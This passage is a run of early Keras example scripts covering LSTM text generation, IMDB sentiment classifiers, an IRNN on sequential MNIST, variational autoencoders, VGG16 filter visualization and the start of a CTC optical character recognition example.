    exp_preds = np.exp(preds)
    preds = exp_preds / np.sum(exp_preds)
    probas = np.random.multinomial(1, preds, 1)
    return np.argmax(probas)

# train the model, output generated text after each iteration
for iteration in range(1, 60):
    print()
    print('-' * 50)
    print('Iteration', iteration)
    model.fit(X, y, batch_size=128, nb_epoch=1)

    start_index = random.randint(0, len(text) - maxlen - 1)

    for diversity in [0.2, 0.5, 1.0, 1.2]:
        print()
        print('----- diversity:', diversity)

        generated = ''
        sentence = text[start_index: start_index + maxlen]
        generated += sentence
        print('----- Generating with seed: "' + sentence + '"')
        sys.stdout.write(generated)

        for i in range(400):
            x = np.zeros((1, maxlen, len(chars)))
            for t, char in enumerate(sentence):
                x[0, t, char_indices[char]] = 1.

            preds = model.predict(x, verbose=0)[0]
            next_index = sample(preds, diversity)
            next_char = indices_char[next_index]

            generated += next_char
            sentence = sentence[1:] + next_char

            sys.stdout.write(next_char)
            sys.stdout.flush()
        print()






'''Train a Bidirectional LSTM on the IMDB sentiment classification task.

Output after 4 epochs on CPU: ~0.8146
Time per epoch on CPU (Core i7): ~150s.
'''

from __future__ import print_function
import numpy as np
np.random.seed(1337)  # for reproducibility

from keras.preprocessing import sequence
from keras.models import Sequential
from keras.layers import Dense, Dropout, Embedding, LSTM, Input, Bidirectional
from keras.datasets import imdb


max_features = 20000
maxlen = 100  # cut texts after this number of words (among top max_features most common words)
batch_size = 32

print('Loading data...')
(X_train, y_train), (X_test, y_test) = imdb.load_data(nb_words=max_features)
print(len(X_train), 'train sequences')
print(len(X_test), 'test sequences')

print("Pad sequences (samples x time)")
X_train = sequence.pad_sequences(X_train, maxlen=maxlen)
X_test = sequence.pad_sequences(X_test, maxlen=maxlen)
print('X_train shape:', X_train.shape)
print('X_test shape:', X_test.shape)
y_train = np.array(y_train)
y_test = np.array(y_test)

model = Sequential()
model.add(Embedding(max_features, 128, input_length=maxlen))
model.add(Bidirectional(LSTM(64)))
model.add(Dropout(0.5))
model.add(Dense(1, activation='sigmoid'))

# try using different optimizers and different optimizer configs
model.compile('adam', 'binary_crossentropy', metrics=['accuracy'])

print('Train...')
model.fit(X_train, y_train,
          batch_size=batch_size,
          nb_epoch=4,
          validation_data=[X_test, y_test])






'''This is a reproduction of the IRNN experiment
with pixel-by-pixel sequential MNIST in
"A Simple Way to Initialize Recurrent Networks of Rectified Linear Units"
by Quoc V. Le, Navdeep Jaitly, Geoffrey E. Hinton

arXiv:1504.00941v2 [cs.NE] 7 Apr 2015
http://arxiv.org/pdf/1504.00941v2.pdf

Optimizer is replaced with RMSprop which yields more stable and steady
improvement.

Reaches 0.93 train/test accuracy after 900 epochs
(which roughly corresponds to 1687500 steps in the original paper.)
'''

from __future__ import print_function

from keras.datasets import mnist
from keras.models import Sequential
from keras.layers import Dense, Activation
from keras.layers import SimpleRNN
from keras.initializations import normal, identity
from keras.optimizers import RMSprop
from keras.utils import np_utils

batch_size = 32
nb_classes = 10
nb_epochs = 200
hidden_units = 100

learning_rate = 1e-6
clip_norm = 1.0

# the data, shuffled and split between train and test sets
(X_train, y_train), (X_test, y_test) = mnist.load_data()

X_train = X_train.reshape(X_train.shape[0], -1, 1)
X_test = X_test.reshape(X_test.shape[0], -1, 1)
X_train = X_train.astype('float32')
X_test = X_test.astype('float32')
X_train /= 255
X_test /= 255
print('X_train shape:', X_train.shape)
print(X_train.shape[0], 'train samples')
print(X_test.shape[0], 'test samples')

# convert class vectors to binary class matrices
Y_train = np_utils.to_categorical(y_train, nb_classes)
Y_test = np_utils.to_categorical(y_test, nb_classes)

print('Evaluate IRNN...')
model = Sequential()
model.add(SimpleRNN(output_dim=hidden_units,
                    init=lambda shape, name: normal(shape, scale=0.001, name=name),
                    inner_init=lambda shape, name: identity(shape, scale=1.0, name=name),
                    activation='relu',
                    input_shape=X_train.shape[1:]))
model.add(Dense(nb_classes))
model.add(Activation('softmax'))
rmsprop = RMSprop(lr=learning_rate)
model.compile(loss='categorical_crossentropy',
              optimizer=rmsprop,
              metrics=['accuracy'])

model.fit(X_train, Y_train, batch_size=batch_size, nb_epoch=nb_epochs,
          verbose=1, validation_data=(X_test, Y_test))

scores = model.evaluate(X_test, Y_test, verbose=0)
print('IRNN test score:', scores[0])
print('IRNN test accuracy:', scores[1])






'''This script demonstrates how to build a variational autoencoder with Keras and deconvolution layers.

Reference: "Auto-Encoding Variational Bayes" https://arxiv.org/abs/1312.6114
'''
import numpy as np
import matplotlib.pyplot as plt

from keras.layers import Input, Dense, Lambda, Flatten, Reshape
from keras.layers import Convolution2D, Deconvolution2D, MaxPooling2D
from keras.models import Model
from keras import backend as K
from keras import objectives
from keras.datasets import mnist

# input image dimensions
img_rows, img_cols, img_chns = 28, 28, 1
# number of convolutional filters to use
nb_filters = 32
# convolution kernel size
nb_conv = 3

batch_size = 16
original_dim = (img_chns, img_rows, img_cols)
latent_dim = 2
intermediate_dim = 128
epsilon_std = 0.01
nb_epoch = 5


x = Input(batch_shape=(batch_size,) + original_dim)
c = Convolution2D(nb_filters, nb_conv, nb_conv, border_mode='same', activation='relu')(x)
f = Flatten()(c)
h = Dense(intermediate_dim, activation='relu')(f)

z_mean = Dense(latent_dim)(h)
z_log_var = Dense(latent_dim)(h)


def sampling(args):
    z_mean, z_log_var = args
    epsilon = K.random_normal(shape=(batch_size, latent_dim),
                              mean=0., std=epsilon_std)
    return z_mean + K.exp(z_log_var) * epsilon

# note that "output_shape" isn't necessary with the TensorFlow backend
# so you could write `Lambda(sampling)([z_mean, z_log_var])`
z = Lambda(sampling, output_shape=(latent_dim,))([z_mean, z_log_var])

# we instantiate these layers separately so as to reuse them later
decoder_h = Dense(intermediate_dim, activation='relu')
decoder_f = Dense(nb_filters*img_rows*img_cols, activation='relu')
decoder_c = Reshape((nb_filters, img_rows, img_cols))
decoder_mean = Deconvolution2D(img_chns, nb_conv, nb_conv,
                               (batch_size, img_chns, img_rows, img_cols),
                               border_mode='same')

h_decoded = decoder_h(z)
f_decoded = decoder_f(h_decoded)
c_decoded = decoder_c(f_decoded)
x_decoded_mean = decoder_mean(c_decoded)


def vae_loss(x, x_decoded_mean):
    # NOTE: binary_crossentropy expects a batch_size by dim for x and x_decoded_mean, so we MUST flatten these!
    x = K.flatten(x)
    x_decoded_mean = K.flatten(x_decoded_mean)
    xent_loss = objectives.binary_crossentropy(x, x_decoded_mean)
    kl_loss = - 0.5 * K.mean(1 + z_log_var - K.square(z_mean) - K.exp(z_log_var), axis=-1)
    return xent_loss + kl_loss

vae = Model(x, x_decoded_mean)
vae.compile(optimizer='rmsprop', loss=vae_loss)
vae.summary()

# train the VAE on MNIST digits
(x_train, y_train), (x_test, y_test) = mnist.load_data()

x_train = x_train.astype('float32')[:, None, :, :] / 255.
x_test = x_test.astype('float32')[:, None, :, :] / 255.

vae.fit(x_train, x_train,
        shuffle=True,
        nb_epoch=nb_epoch,
        batch_size=batch_size,
        validation_data=(x_test, x_test))


# build a model to project inputs on the latent space
encoder = Model(x, z_mean)

# display a 2D plot of the digit classes in the latent space
x_test_encoded = encoder.predict(x_test, batch_size=batch_size)
plt.figure(figsize=(6, 6))
plt.scatter(x_test_encoded[:, 0], x_test_encoded[:, 1], c=y_test)
plt.colorbar()
plt.show()

# build a digit generator that can sample from the learned distribution
decoder_input = Input(shape=(latent_dim,))
_h_decoded = decoder_h(decoder_input)
_f_decoded = decoder_f(_h_decoded)
_c_decoded = decoder_c(_f_decoded)
_x_decoded_mean = decoder_mean(_c_decoded)
generator = Model(decoder_input, _x_decoded_mean)

# display a 2D manifold of the digits
n = 15  # figure with 15x15 digits
digit_size = 28
figure = np.zeros((digit_size * n, digit_size * n))
# we will sample n points within [-15, 15] standard deviations
grid_x = np.linspace(-15, 15, n)
grid_y = np.linspace(-15, 15, n)

for i, yi in enumerate(grid_x):
    for j, xi in enumerate(grid_y):
        z_sample = np.array([[xi, yi]])
        x_decoded = generator.predict(z_sample)
        digit = x_decoded[0].reshape(digit_size, digit_size)
        figure[i * digit_size: (i + 1) * digit_size,
               j * digit_size: (j + 1) * digit_size] = digit

plt.figure(figsize=(10, 10))
plt.imshow(figure)
plt.show()






'''Trains a LSTM on the IMDB sentiment classification task.

The dataset is actually too small for LSTM to be of any advantage
compared to simpler, much faster methods such as TF-IDF + LogReg.

Notes:

- RNNs are tricky. Choice of batch size is important,
choice of loss and optimizer is critical, etc.
Some configurations won't converge.

- LSTM loss decrease patterns during training can be quite different
from what you see with CNNs/MLPs/etc.
'''
from __future__ import print_function
import numpy as np
np.random.seed(1337)  # for reproducibility

from keras.preprocessing import sequence
from keras.utils import np_utils
from keras.models import Sequential
from keras.layers import Dense, Dropout, Activation, Embedding
from keras.layers import LSTM, SimpleRNN, GRU
from keras.datasets import imdb

max_features = 20000
maxlen = 80  # cut texts after this number of words (among top max_features most common words)
batch_size = 32

print('Loading data...')
(X_train, y_train), (X_test, y_test) = imdb.load_data(nb_words=max_features)
print(len(X_train), 'train sequences')
print(len(X_test), 'test sequences')

print('Pad sequences (samples x time)')
X_train = sequence.pad_sequences(X_train, maxlen=maxlen)
X_test = sequence.pad_sequences(X_test, maxlen=maxlen)
print('X_train shape:', X_train.shape)
print('X_test shape:', X_test.shape)

print('Build model...')
model = Sequential()
model.add(Embedding(max_features, 128, input_length=maxlen, dropout=0.2))
model.add(LSTM(128, dropout_W=0.2, dropout_U=0.2))  # try using a GRU instead, for fun
model.add(Dense(1))
model.add(Activation('sigmoid'))

# try using different optimizers and different optimizer configs
model.compile(loss='binary_crossentropy',
              optimizer='adam',
              metrics=['accuracy'])

print('Train...')
model.fit(X_train, y_train, batch_size=batch_size, nb_epoch=15,
          validation_data=(X_test, y_test))
score, acc = model.evaluate(X_test, y_test,
                            batch_size=batch_size)
print('Test score:', score)
print('Test accuracy:', acc)






'''This script demonstrates how to build a variational autoencoder with Keras.

Reference: "Auto-Encoding Variational Bayes" https://arxiv.org/abs/1312.6114
'''
import numpy as np
import matplotlib.pyplot as plt

from keras.layers import Input, Dense, Lambda
from keras.models import Model
from keras import backend as K
from keras import objectives
from keras.datasets import mnist

batch_size = 100
original_dim = 784
latent_dim = 2
intermediate_dim = 256
nb_epoch = 50

x = Input(batch_shape=(batch_size, original_dim))
h = Dense(intermediate_dim, activation='relu')(x)
z_mean = Dense(latent_dim)(h)
z_log_var = Dense(latent_dim)(h)


def sampling(args):
    z_mean, z_log_var = args
    epsilon = K.random_normal(shape=(batch_size, latent_dim), mean=0.)
    return z_mean + K.exp(z_log_var / 2) * epsilon

# note that "output_shape" isn't necessary with the TensorFlow backend
z = Lambda(sampling, output_shape=(latent_dim,))([z_mean, z_log_var])

# we instantiate these layers separately so as to reuse them later
decoder_h = Dense(intermediate_dim, activation='relu')
decoder_mean = Dense(original_dim, activation='sigmoid')
h_decoded = decoder_h(z)
x_decoded_mean = decoder_mean(h_decoded)


def vae_loss(x, x_decoded_mean):
    xent_loss = original_dim * objectives.binary_crossentropy(x, x_decoded_mean)
    kl_loss = - 0.5 * K.sum(1 + z_log_var - K.square(z_mean) - K.exp(z_log_var), axis=-1)
    return xent_loss + kl_loss

vae = Model(x, x_decoded_mean)
vae.compile(optimizer='rmsprop', loss=vae_loss)

# train the VAE on MNIST digits
(x_train, y_train), (x_test, y_test) = mnist.load_data()

x_train = x_train.astype('float32') / 255.
x_test = x_test.astype('float32') / 255.
x_train = x_train.reshape((len(x_train), np.prod(x_train.shape[1:])))
x_test = x_test.reshape((len(x_test), np.prod(x_test.shape[1:])))

vae.fit(x_train, x_train,
        shuffle=True,
        nb_epoch=nb_epoch,
        batch_size=batch_size,
        validation_data=(x_test, x_test))

# build a model to project inputs on the latent space
encoder = Model(x, z_mean)

# display a 2D plot of the digit classes in the latent space
x_test_encoded = encoder.predict(x_test, batch_size=batch_size)
plt.figure(figsize=(6, 6))
plt.scatter(x_test_encoded[:, 0], x_test_encoded[:, 1], c=y_test)
plt.colorbar()
plt.show()

# build a digit generator that can sample from the learned distribution
decoder_input = Input(shape=(latent_dim,))
_h_decoded = decoder_h(decoder_input)
_x_decoded_mean = decoder_mean(_h_decoded)
generator = Model(decoder_input, _x_decoded_mean)

# display a 2D manifold of the digits
n = 15  # figure with 15x15 digits
digit_size = 28
figure = np.zeros((digit_size * n, digit_size * n))
# we will sample n points within [-15, 15] standard deviations
grid_x = np.linspace(-15, 15, n)
grid_y = np.linspace(-15, 15, n)

for i, yi in enumerate(grid_x):
    for j, xi in enumerate(grid_y):
        z_sample = np.array([[xi, yi]])
        x_decoded = generator.predict(z_sample)
        digit = x_decoded[0].reshape(digit_size, digit_size)
        figure[i * digit_size: (i + 1) * digit_size,
               j * digit_size: (j + 1) * digit_size] = digit

plt.figure(figsize=(10, 10))
plt.imshow(figure)
plt.show()






'''This example demonstrates the use of Convolution1D for text classification.

Gets to 0.89 test accuracy after 2 epochs.
90s/epoch on Intel i5 2.4Ghz CPU.
10s/epoch on Tesla K40 GPU.

'''

from __future__ import print_function
import numpy as np
np.random.seed(1337)  # for reproducibility

from keras.preprocessing import sequence
from keras.models import Sequential
from keras.layers import Dense, Dropout, Activation, Flatten
from keras.layers import Embedding
from keras.layers import Convolution1D, MaxPooling1D
from keras.datasets import imdb
from keras import backend as K


# set parameters:
max_features = 5000
maxlen = 400
batch_size = 32
embedding_dims = 50
nb_filter = 250
filter_length = 3
hidden_dims = 250
nb_epoch = 2

print('Loading data...')
(X_train, y_train), (X_test, y_test) = imdb.load_data(nb_words=max_features)
print(len(X_train), 'train sequences')
print(len(X_test), 'test sequences')

print('Pad sequences (samples x time)')
X_train = sequence.pad_sequences(X_train, maxlen=maxlen)
X_test = sequence.pad_sequences(X_test, maxlen=maxlen)
print('X_train shape:', X_train.shape)
print('X_test shape:', X_test.shape)

print('Build model...')
model = Sequential()

# we start off with an efficient embedding layer which maps
# our vocab indices into embedding_dims dimensions
model.add(Embedding(max_features,
                    embedding_dims,
                    input_length=maxlen,
                    dropout=0.2))

# we add a Convolution1D, which will learn nb_filter
# word group filters of size filter_length:
model.add(Convolution1D(nb_filter=nb_filter,
                        filter_length=filter_length,
                        border_mode='valid',
                        activation='relu',
                        subsample_length=1))
# we use max pooling:
model.add(MaxPooling1D(pool_length=model.output_shape[1]))

# We flatten the output of the conv layer,
# so that we can add a vanilla dense layer:
model.add(Flatten())

# We add a vanilla hidden layer:
model.add(Dense(hidden_dims))
model.add(Dropout(0.2))
model.add(Activation('relu'))

# We project onto a single unit output layer, and squash it with a sigmoid:
model.add(Dense(1))
model.add(Activation('sigmoid'))

model.compile(loss='binary_crossentropy',
              optimizer='adam',
              metrics=['accuracy'])
model.fit(X_train, y_train,
          batch_size=batch_size,
          nb_epoch=nb_epoch,
          validation_data=(X_test, y_test))






'''Visualization of the filters of VGG16, via gradient ascent in input space.

This script can run on CPU in a few minutes (with the TensorFlow backend).

Results example: http://i.imgur.com/4nj4KjN.jpg

Before running this script, download the weights for the VGG16 model at:
https://drive.google.com/file/d/0Bz7KyqmuGsilT0J5dmRCM0ROVHc/view?usp=sharing
(source: https://gist.github.com/baraldilorenzo/07d7802847aaad0a35d3)
and make sure the variable `weights_path` in this script matches the location of the file.
'''
from __future__ import print_function
from scipy.misc import imsave
import numpy as np
import time
import os
import h5py

from keras.models import Sequential
from keras.layers import Convolution2D, ZeroPadding2D, MaxPooling2D
from keras import backend as K

# dimensions of the generated pictures for each filter.
img_width = 128
img_height = 128

# path to the model weights file.
weights_path = 'vgg16_weights.h5'

# the name of the layer we want to visualize (see model definition below)
layer_name = 'conv5_1'

# util function to convert a tensor into a valid image
def deprocess_image(x):
    # normalize tensor: center on 0., ensure std is 0.1
    x -= x.mean()
    x /= (x.std() + 1e-5)
    x *= 0.1

    # clip to [0, 1]
    x += 0.5
    x = np.clip(x, 0, 1)

    # convert to RGB array
    x *= 255
    x = x.transpose((1, 2, 0))
    x = np.clip(x, 0, 255).astype('uint8')
    return x

# build the VGG16 network
model = Sequential()
model.add(ZeroPadding2D((1, 1), batch_input_shape=(1, 3, img_width, img_height)))
first_layer = model.layers[-1]
# this is a placeholder tensor that will contain our generated images
input_img = first_layer.input

model.add(Convolution2D(64, 3, 3, activation='relu', name='conv1_1'))
model.add(ZeroPadding2D((1, 1)))
model.add(Convolution2D(64, 3, 3, activation='relu', name='conv1_2'))
model.add(MaxPooling2D((2, 2), strides=(2, 2)))

model.add(ZeroPadding2D((1, 1)))
model.add(Convolution2D(128, 3, 3, activation='relu', name='conv2_1'))
model.add(ZeroPadding2D((1, 1)))
model.add(Convolution2D(128, 3, 3, activation='relu', name='conv2_2'))
model.add(MaxPooling2D((2, 2), strides=(2, 2)))

model.add(ZeroPadding2D((1, 1)))
model.add(Convolution2D(256, 3, 3, activation='relu', name='conv3_1'))
model.add(ZeroPadding2D((1, 1)))
model.add(Convolution2D(256, 3, 3, activation='relu', name='conv3_2'))
model.add(ZeroPadding2D((1, 1)))
model.add(Convolution2D(256, 3, 3, activation='relu', name='conv3_3'))
model.add(MaxPooling2D((2, 2), strides=(2, 2)))

model.add(ZeroPadding2D((1, 1)))
model.add(Convolution2D(512, 3, 3, activation='relu', name='conv4_1'))
model.add(ZeroPadding2D((1, 1)))
model.add(Convolution2D(512, 3, 3, activation='relu', name='conv4_2'))
model.add(ZeroPadding2D((1, 1)))
model.add(Convolution2D(512, 3, 3, activation='relu', name='conv4_3'))
model.add(MaxPooling2D((2, 2), strides=(2, 2)))

model.add(ZeroPadding2D((1, 1)))
model.add(Convolution2D(512, 3, 3, activation='relu', name='conv5_1'))
model.add(ZeroPadding2D((1, 1)))
model.add(Convolution2D(512, 3, 3, activation='relu', name='conv5_2'))
model.add(ZeroPadding2D((1, 1)))
model.add(Convolution2D(512, 3, 3, activation='relu', name='conv5_3'))
model.add(MaxPooling2D((2, 2), strides=(2, 2)))

# load the weights of the VGG16 networks
# (trained on ImageNet, won the ILSVRC competition in 2014)
# note: when there is a complete match between your model definition
# and your weight savefile, you can simply call model.load_weights(filename)
assert os.path.exists(weights_path), 'Model weights not found (see "weights_path" variable in script).'
f = h5py.File(weights_path)
for k in range(f.attrs['nb_layers']):
    if k >= len(model.layers):
        # we don't look at the last (fully-connected) layers in the savefile
        break
    g = f['layer_{}'.format(k)]
    weights = [g['param_{}'.format(p)] for p in range(g.attrs['nb_params'])]
    model.layers[k].set_weights(weights)
f.close()
print('Model loaded.')

# get the symbolic outputs of each "key" layer (we gave them unique names).
layer_dict = dict([(layer.name, layer) for layer in model.layers])


def normalize(x):
    # utility function to normalize a tensor by its L2 norm
    return x / (K.sqrt(K.mean(K.square(x))) + 1e-5)


kept_filters = []
for filter_index in range(0, 200):
    # we only scan through the first 200 filters,
    # but there are actually 512 of them
    print('Processing filter %d' % filter_index)
    start_time = time.time()

    # we build a loss function that maximizes the activation
    # of the nth filter of the layer considered
    layer_output = layer_dict[layer_name].output
    loss = K.mean(layer_output[:, filter_index, :, :])

    # we compute the gradient of the input picture wrt this loss
    grads = K.gradients(loss, input_img)[0]

    # normalization trick: we normalize the gradient
    grads = normalize(grads)

    # this function returns the loss and grads given the input picture
    iterate = K.function([input_img], [loss, grads])

    # step size for gradient ascent
    step = 1.

    # we start from a gray image with some random noise
    input_img_data = np.random.random((1, 3, img_width, img_height)) * 20 + 128.

    # we run gradient ascent for 20 steps
    for i in range(20):
        loss_value, grads_value = iterate([input_img_data])
        input_img_data += grads_value * step

        print('Current loss value:', loss_value)
        if loss_value <= 0.:
            # some filters get stuck to 0, we can skip them
            break

    # decode the resulting input image
    if loss_value > 0:
        img = deprocess_image(input_img_data[0])
        kept_filters.append((img, loss_value))
    end_time = time.time()
    print('Filter %d processed in %ds' % (filter_index, end_time - start_time))

# we will stich the best 64 filters on a 8 x 8 grid.
n = 8

# the filters that have the highest loss are assumed to be better-looking.
# we will only keep the top 64 filters.
kept_filters.sort(key=lambda x: x[1], reverse=True)
kept_filters = kept_filters[:n * n]

# build a black picture with enough space for
# our 8 x 8 filters of size 128 x 128, with a 5px margin in between
margin = 5
width = n * img_width + (n - 1) * margin
height = n * img_height + (n - 1) * margin
stitched_filters = np.zeros((width, height, 3))

# fill the picture with our saved filters
for i in range(n):
    for j in range(n):
        img, loss = kept_filters[i * n + j]
        stitched_filters[(img_width + margin) * i: (img_width + margin) * i + img_width,
                         (img_height + margin) * j: (img_height + margin) * j + img_height, :] = img

# save the result to disk
imsave('stitched_filters_%dx%d.png' % (n, n), stitched_filters)






'''This example uses a convolutional stack followed by a recurrent stack
and a CTC logloss function to perform optical character recognition
of generated text images. I have no evidence of whether it actually
learns general shapes of text, or just is able to recognize all
the different fonts thrown at it...the purpose is more to demonstrate CTC
inside of Keras.  Note that the font list may need to be updated
for the particular OS in use.

This starts off with 4 letter words. After 10 or so epochs, CTC
learns translational invariance, so longer words and groups of words
with spaces are gradually fed in.  This gradual increase in difficulty
is handled using the TextImageGenerator class which is both a generator
class for test/train data and a Keras callback class. Every 10 epochs
the wordlist that the generator draws from increases in difficulty.

The table below shows normalized edit distance values. Theano uses
a slightly different CTC implementation, so some Theano-specific
hyperparameter tuning would be needed to get it to match Tensorflow.

            Norm. ED
Epoch |   TF   |   TH
------------------------
    10   0.072    0.272
    20   0.032    0.115
    30   0.024    0.098
    40   0.023    0.108

This requires cairo and editdistance packages:
pip install cairocffi
pip install editdistance

Due to the use of a dummy loss function, Theano requires the following flags:
on_unused_input='ignore'

Created by Mike Henry
https://github.com/mbhenry/
'''

import os
import itertools
import re
import datetime
import cairocffi as cairo
import editdistance
import numpy as np
from scipy import ndimage
import pylab
from keras import backend as K
from keras.layers.convolutional import Convolution2D, MaxPooling2D
from keras.layers import Input, Layer, Dense, Activation, Flatten
from keras.layers import Reshape, Lambda, merge, Permute, TimeDistributed
from keras.models import Model
from keras.layers.recurrent import GRU
from keras.optimizers import SGD
from keras.utils import np_utils
from keras.utils.data_utils import get_file
from keras.preprocessing import image
import keras.callbacks

OUTPUT_DIR = "image_ocr"

np.random.seed(55)

# this creates larger "blotches" of noise which look
# more realistic than just adding gaussian noise
# assumes greyscale with pixels ranging from 0 to 1

def speckle(img):
    severity = np.random.uniform(0, 0.6)
    blur = ndimage.gaussian_filter(np.random.randn(*img.shape) * severity, 1)
    img_speck = (img + blur)
    img_speck[img_speck > 1] = 1
    img_speck[img_speck <= 0] = 0
    return img_speck

# paints the string in a random location the bounding box
# also uses a random font, a slight random rotation,
# and a random amount of speckle noise

def paint_text(text, w, h):
    surface = cairo.ImageSurface(cairo.FORMAT_RGB24, w, h)
    with cairo.Context(surface) as context:
        context.set_source_rgb(1, 1, 1)  # White
        context.paint()
        # this font list works in Centos 7
        fonts = ['Century Schoolbook', 'Courier', 'STIX', 'URW Chancery L', 'FreeMono']
        context.select_font_face(np.random.choice(fonts), cairo.FONT_SLANT_NORMAL,
                                 np.random.choice([cairo.FONT_WEIGHT_BOLD, cairo.FONT_WEIGHT_NORMAL]))
        context.set_font_size(40)
        box = context.text_extents(text)
        if box[2] > w or box[3] > h:
            raise IOError('Could not fit string into image. Max char count is too large for given image width.')

        # teach the RNN translational invariance by
        # fitting text box randomly on canvas, with some room to rotate
        border_w_h = (10, 16)
        max_shift_x = w - box[2] - border_w_h[0]
        max_shift_y = h - box[3] - border_w_h[1]
        top_left_x = np.random.randint(0, int(max_shift_x))
        top_left_y = np.random.randint(0, int(max_shift_y))

        context.move_to(top_left_x - int(box[0]), top_left_y - int(box[1]))
        context.set_source_rgb(0, 0, 0)
        context.show_text(text)

    buf = surface.get_data()
    a = np.frombuffer(buf, np.uint8)
    a.shape = (h, w, 4)
    a = a[:, :, 0]  # grab single channel
    a /= 255
    a = np.expand_dims(a, 0)
    a = speckle(a)
    a = image.random_rotation(a, 3 * (w - top_left_x) / w + 1)

    return a

def shuffle_mats_or_lists(matrix_list, stop_ind=None):
    ret = []
    assert all([len(i) == len(matrix_list[0]) for i in matrix_list])
    len_val = len(matrix_list[0])
    if stop_ind is None:
        stop_ind = len_val
    assert stop_ind <= len_val

    a = range(stop_ind)
    np.random.shuffle(a)
    a += range(stop_ind, len_val)
    for mat in matrix_list:
        if isinstance(mat, np.ndarray):
            ret.append(mat[a])
        elif isinstance(mat, list):
            ret.append([mat[i] for i in a])
        else:
            raise TypeError('shuffle_mats_or_lists only supports numpy.array and list objects')
    return ret

def text_to_labels(text, num_classes):
    ret = []
    for char in text:
        if char >= 'a' and char <= 'z':
            ret.append(ord(char) - ord('a'))
        elif char == ' ':
            ret.append(26)
    return ret

# only a-z and space..probably not to difficult
# to expand to uppercase and symbols

def is_valid_str(in_str):
    search = re.compile(r'[^a-z\ ]').search
    return not bool(search(in_str))

# Uses generator functions to supply train/test with
# data. Image renderings are text are created on the fly
# each time with random perturbations

class TextImageGenerator(keras.callbacks.Callback):

    def __init__(self, monogram_file, bigram_file, minibatch_size, img_w,
                 img_h, downsample_width, val_split,
                 absolute_max_string_len=16):

        self.minibatch_size = minibatch_size
        self.img_w = img_w
        self.img_h = img_h
        self.monogram_file = monogram_file
        self.bigram_file = bigram_file
        self.downsample_width = downsample_width
        self.val_split = val_split
        self.blank_label = self.get_output_size() - 1
        self.absolute_max_string_len = absolute_max_string_len

    def get_output_size(self):
        return 28

    # num_words can be independent of the epoch size due to the use of generators
    # as max_string_len grows, num_words can grow
    def build_word_list(self, num_words, max_string_len=None, mono_fraction=0.5):
        assert max_string_len <= self.absolute_max_string_len
        assert num_words % self.minibatch_size == 0
        assert (self.val_split * num_words) % self.minibatch_size == 0
        self.num_words = num_words
        self.string_list = []
        self.max_string_len = max_string_len
        self.Y_data = np.ones([self.num_words, self.absolute_max_string_len]) * -1
        self.X_text = []
        self.Y_len = [0] * self.num_words

        # monogram file is sorted by frequency in english speech
        with open(self.monogram_file, 'rt') as f:
            for line in f:
                if len(self.string_list) == int(self.num_words * mono_fraction):
                    break
                word = line.rstrip()
                if max_string_len == -1 or max_string_len is None or len(word) <= max_string_len:
                    self.string_list.append(word)

        # bigram file contains common word pairings in english speech
        with open(self.bigram_file, 'rt') as f:
            lines = f.readlines()
            for line in lines:
                if len(self.string_list) == self.num_words:
                    break
                columns = line.lower().split()
                word = columns[0] + ' ' + columns[1]
                if is_valid_str(word) and \
                        (max_string_len == -1 or max_string_len is None or len(word) <= max_string_len):
                    self.string_list.append(word)
        if len(self.string_list) != self.num_words:
            raise IOError('Could not pull enough words from supplied monogram and bigram files. ')

        for i, word in enumerate(self.string_list):
            self.Y_len[i] = len(word)
            self.Y_data[i, 0:len(word)] = text_to_labels(word, self.get_output_size())
            self.X_text.append(word)
        self.Y_len = np.expand_dims(np.array(self.Y_len), 1)

        self.cur_val_index = self.val_split
        self.cur_train_index = 0

    # each time an image is requested from train/val/test, a new random
    # painting of the text is performed
    def get_batch(self, index, size, train):
        X_data = np.ones([size, 1, self.img_h, self.img_w])
        labels = np.ones([size, self.absolute_max_string_len])
        input_length = np.zeros([size, 1])
        label_length = np.zeros([size, 1])
        source_str = []

        for i in range(0, size):
            # Mix in some blank inputs.  This seems to be important for
            # achieving translational invariance
            if train and i > size - 4:
                X_data[i, 0, :, :] = paint_text('', self.img_w, self.img_h)
                labels[i, 0] = self.blank_label
                input_length[i] = self.downsample_width
                label_length[i] = 1
                source_str.append('')
            else:
                X_data[i, 0, :, :] = paint_text(self.X_text[index + i], self.img_w, self.img_h)
                labels[i, :] = self.Y_data[index + i]
                input_length[i] = self.downsample_width
                label_length[i] = self.Y_len[index + i]
                source_str.append(self.X_text[index + i])

        inputs = {'the_input': X_data,
                  'the_labels': labels,
                  'input_length': input_length,
                  'label_length': label_length,
                  'source_str': source_str  # used for visualization only
                  }
        outputs = {'ctc': np.zeros([size])}  # dummy data for dummy loss function
        return (inputs, outputs)

    def next_train(self):
        while 1:
            ret = self.get_batch(self.cur_train_index, self.minibatch_size, train=True)
            self.cur_train_index += self.minibatch_size
            if self.cur_train_index >= self.val_split:
                self.cur_train_index = self.cur_train_index % 32
                (self.X_text, self.Y_data, self.Y_len) = shuffle_mats_or_lists(
                    [self.X_text, self.Y_data, self.Y_len], self.val_split)
            yield ret

    def next_val(self):
        while 1:
            ret = self.get_batch(self.cur_val_index, self.minibatch_size, train=False)
            self.cur_val_index += self.minibatch_size
            if self.cur_val_index >= self.num_words:
                self.cur_val_index = self.val_split + self.cur_val_index % 32
            yield ret

    def on_train_begin(self, logs={}):
        # translational invariance seems to be the hardest thing
        # for the RNN to learn, so start with <= 4 letter words.
        self.build_word_list(16000, 4, 1)

    def on_epoch_begin(self, epoch, logs={}):
        # After 10 epochs, translational invariance should be learned
        # so start feeding longer words and eventually multiple words with spaces
        if epoch == 10:
            self.build_word_list(32000, 8, 1)
        if epoch == 20:
            self.build_word_list(32000, 8, 0.6)
        if epoch == 30:
            self.build_word_list(64000, 12, 0.5)

# the actual loss calc occurs here despite it not being
# an internal Keras loss function

def ctc_lambda_func(args):
    y_pred, labels, input_length, label_length = args
    # the 2 is critical here since the first couple outputs of the RNN
    # tend to be garbage:
    y_pred = y_pred[:, 2:, :]
    return K.ctc_batch_cost(labels, y_pred, input_length, label_length)

# For a real OCR application, this should be beam search with a dictionary
# and language model.  For this example, best path is sufficient.

def decode_batch(test_func, word_batch):
    out = test_func([word_batch])[0]
    ret = []
    for j in range(out.shape[0]):
        out_best = list(np.argmax(out[j, 2:], 1))
        out_best = [k for k, g in itertools.groupby(out_best)]
        # 26 is space, 27 is CTC blank char
        outstr = ''
        for c in out_best:
            if c >= 0 and c < 26:
                outstr += chr(c + ord('a'))
            elif c == 26:
                outstr += ' '
        ret.append(outstr)
    return ret

class VizCallback(keras.callbacks.Callback):

    def __init__(self, test_func, text_img_gen, num_display_words = 6):
        self.test_func = test_func
        self.output_dir = os.path.join(
